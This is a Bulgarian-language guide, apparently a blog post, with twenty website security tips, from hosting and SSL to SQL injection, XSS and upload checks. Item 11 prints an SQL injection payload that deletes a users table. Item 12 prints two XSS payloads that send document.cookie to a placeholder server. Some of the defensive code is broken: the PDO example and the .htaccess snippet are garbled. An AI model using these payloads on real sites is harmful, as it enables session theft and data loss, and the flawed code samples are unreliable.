Има много неща, за които трябва да се помисли при изграждането на нов сайт. А и когато стане готов, нещата съвсем не са приключили, даже тепърва започват. Имате нов, прекрасен и бляскав сайт, но ако не сте внимателни, може да се превърне в кошмар. Колко защитен е вашия проект, зависи от решенията, които вземате преди изработката на сайта, по време на и след това.
1. Изберете правилната платформа
Има различни видове билдъри, системи за управление на съдържанието (CMS) и платформи, с помощта на които можете да изградите вашия уеб сайт. Ориентирайте се към най-популярните WordPress, Joomla и т.н. Разбира се, те са и най-нападаните от хакери и зловреден софтуер, но пък са с отворен код и техните общности наброяват милиони, което значи, че ако ви се случи нещо, то почти сигурно вече се е случвало на много хора преди вас и лесно ще може да намерите решение. Ако често ги ъпдейтвате и използвате необходимите модули за защита, то можете да бъдете спокойни.
Друг още по-добър вариант е да ползвате за изработката на вашия сайт къстъм код и добри програмисти. Ако е направен както трябва, след това даже няма да имате особена нужда от поддръжка известно време.
2. Изберете добър уеб хостинг
Друг въпрос, който често изкача в тези среди е за добрия хостинг. Това е мястото където се съхраняват вашите файлове. Безопасността и сигурността тук е от огромно значение. Ако има "пропуски", чрез които хакери, измамници и зловреден софтуер може да се възползват, това може да е с катастрофални последици. Споделения хостинг, не е най-сигурния вариант, въпреки че се работи усилено в тази насока. Избирайте внимателно!
3. Бъдете информирани още от самото начало
Запознайте се с всички потенциални заплахи още преди да започнете да изграждате вашия сайт. Името на базата данни, всички пароли, които ползвате, избора на навигация, url адреса на администрацията - всички избори, които направите са от значение.
4. Добавете Защитна стена на вашия сайт (Firewall)
Огнената стена е уеб приложение, което може да бъде добавено към вашия сайт и да ви предпази от много проблеми. Готовите платформи имат много безплатни плъгини, с които бихте могли да се защитите.
5. Добавете SSL сертификат
За да имате протокол за защитена комуникация в компютърна мрежа HTTPS, е необходимо да закупите SSL сертификат, обикновено хостинг доставчика ви го предлага, а вече има и доста безплатни варианти. SSL прави целият трафик от сървъра ви към клиента криптиран и защитен. Особено важно е когато имате онлайн магазин или сайт в който има логин форма и потребителите попълват лична информация и/или номера на кредитните/дебитните си карти.
6. Следвайте изискванията на W3C
World Wide Web Consortium е организация, която определя стандартите за сайтове в международен план. Ако следвате техните предложения, вашият сайт ще има много по-добра техническа основа, отколкото ако не го направите. А също така, ще бъде по-достъпен и сигурен за всички.
7. Ъпдейтвайте често
Всяка система, която инсталирате, има нужда от регуларен ъпдейт. Ако използвате WordPress, тези ъпдейти могат да се настроят така, че да се случват автоматично или вие да ги извършвате през админ панела. Актуализирането е съвсем просто и става буквално с 1-2 клика, но е критично важно, защото запушва дупки, намерени от хакерите.
8. Използвайте силни и сложни пароли
Навсякъде, където има важна за вас информация и се влиза с парола, го направете така, че максимално да затрудните евентуалното проникване или разбиване на паролата. Има някои правила, които можете да следвате, за да направите вашата парола силна и трудна - поне 10 символа, цифри, главни и малки букви, други символи (въпросителен, удивителен, кльомба и т.н.), и нека да не е някаква позната дума, ами поредица, за която хората и машините няма да се сетят лесно.
9. Променете префикса на таблиците от базата данни
Важно е да защитите базата си данни, като имате префикс преди името на всяка таблица. Например, вместо оригиналната таблица 'users' тя може да бъде webv2_users. По този начин ще затрудните хакерите да налучкат името на таблицата ви и няма да могат да напишат някой SQL Injection с който да я изтрият.
10. Изтрийте инсталационната папка
Важно е да изтриете инсталационната папка на сайта ви, например /install/index.php. По този начин ще предотвратите изтичане на информация от нея, или повторното инсталиране на готовата платформа.
11. Използвайте параметризирани заявки
Едни от най-честите хаквания на сайт са именно през базата му данни и то такава, която не 'избягва' лошите символи на променливите
или използването на параметри.
ето и най-честия хак без тях:
SELECT * FROM users WHERE username = "x"
тогава в полето злонамереният потребител би могъл да напише вместо реалната парола следният хак:
$_GET['username'] = "'; DELETE FROM users; /*"
И воала, оказвате се без потребители в таблицата си 'users'!
А, ето как да направите заявката, за да се предпазите от такива атаки:
// PDO, prepared statement
$username = PDO::quote($_GET['username']);
$pdo->prepare('SELECT * FROM users WHERE username = :username');
$pdo->execute(array(':username' => $username));
12. Предпазване от XSS – вмъкване на нежелан код
Един прекрасен начин да вземете cookie информацията на някой потребител и след това да влезете в същият сайт от негово име и да напишете пак от негово име нещо, а защо не и да закупите нещо от неговата сметка в този сайт? Да кажем, че имате текстово поле, в което може да пишете. Този текст ако не бъде 'орязан' преди да бъде записан в базата ви данни, след това може да послужи за пращане на cookie-то до друг сървър.
Eто 2 примера за това:
< img src=x onerror=this.src='http://yourserver/?c='+document.cookie >
или
< script >
document.location = 'http://youserver/SCRIPT TO_RECIEVE_COOKIE INFORMATION.php?cookies=' + document.cookie
< /script >
Как да се предпазим?
В PHP за това има готов метод за превенция, само трябва всяко поле да мине през него, преди да се запази в базата данни.
$username = htmlentities($username, ENT_QUOTES, 'utf-8');
13. Внимавайте каква информация предоставяте на крайните потребители под формата на грешки
Предоставяйте само минимална, точна и проста информация до крайните потребители когато се получават грешки. По този начин ще предотвратите изтичането на важна информация, относно това какви услуги ползвайте, каква база данни, таблици и т.н. Защото могат да хакнат сайта ви именно чрез нея.
14. Защитете формите си за попълване на данни, чрез сървърна валидация
Клиентската защита е хубава, но не е достатъчна, защото може да бъде спряна или преодоляна много лесно. Винаги, освен клиентската, правете сървърна валидация с ескейпване на входящите данни (вижте точка 11). До тях потребителят няма достъп (респективно хакера), няма видимост и не може ги заобиколи лесно.
15. Качване на файлове
Позволявайте на потребителите си да качват само точно определени файлове. Ако това са изображения, направете валидация на това поле, за да могат да ъплодват само jpg, png и gif, например. Други файлове биха счупили сървърната ви логика, очакваща снимки за обработка, или биха били потенциални хакове.
Ето някои методи за това в .htaccess
deny from all
order deny,allow
allow from all
< /Files >
или сървърна проверка в PHP
$file_type = $_FILES['foreign_character_upload']['type']; //returns the mimetype
$allowed = array("image/jpeg", "image/gif", "image/png");
if(!in_array($file_type, $allowed)) {
$error_message = 'Only jpg, gif, and png files are allowed.';
$error = 'yes';
}
16. Сърч конзола - задължителен за всеки уебмастер
Силно препоръчително е, ако искате да сте навреме осведомен за всякакви проблеми по сайта, включително и със сигурността, да регистрирате вашите сайтове в Сърч конзолата (бившия Уебмастер тулс) и да добавите кода за верификация. Съвсем безплатно е, а информацията, която можете да получите е безценна.
17. Намерете и инсталирайте правилните плъгини за сигурност
Почти всички популярни платформи предлагат множество модули или апликации, които ще ви помогнат да направите сайта си много по-сигурен и безопасен за ползване. Например, WordPress разполагат със стотици (може би хиляди) безплатни и платени подобни модули, на които често излизат нови версии и не позволяват да се случи нещо нежелано.
18. Да се премахне meta тага с версията на CMS-а (WP, Joomla...)
Без премахване на автоматично генериран код за универсална съвместимост, много CMS системи се издават с прекалено много детайли и стават лесна мишена за атака по конкретна версия и функционалност. Това няма да спре опитните хакери, но ще "спъне" автоматизираните скенери, разни онлайн скриптове и т.н.
Някой хостинг компании имат инструменти в своите планове, който сами премахват версията на платформата. Разбира се има и много плъгини за целта, а пък част от тях биха могли да скрият цялата информация за вашия CMS. Ако не сте сигурни, какво точно правите, по-добре тази работа да я свърши опитен професионалист.
Ето ви един гист, съдържаш функции за почистване на Wordpress от ненужна информация:
https://gist.github.com/dimobelov/ce334c934dee4f194514236897658f6b
19. Често правете пълен бекъп
Ако всичко друго се провали, то се погрижете винаги да имате поне едно пълно, скорошно копие на целия сайт и базата данни, така че ако нещо генерално се обърка, да можете бързо и лесно да си върнете цялата информация и сайта ви да е отново като нов. Обикновено хостинг компаниите предлагат такива бекъпи, но ако не ги подсетите или не си го направите сам, има вероятност това никога да не се случи. За това, погрижете се лично.
20. Не спирайте да се информирате
Като собственик на уеб сайт, е важно да се информирате непрекъснато за новите технологии и за потенциалните заплахи, които могат да навредят на вашия бизнес. Като друг вариант, назначете си доверен човек (програмист, системен администратор), който да ги следи тези неща вместо вас.
Малко неща са по-важни от сигурността на вашия сайт. Уеб сайта е лицето на фирмата и бранда ви в интернет, а в много случаи, това е и единствения ви доход за препитание, и трябва да бъде максимално защитен с всички възможни средства. Ако ли не, вие излагате на риск вашия сайт, вашите клиенти и целия ви бизнес.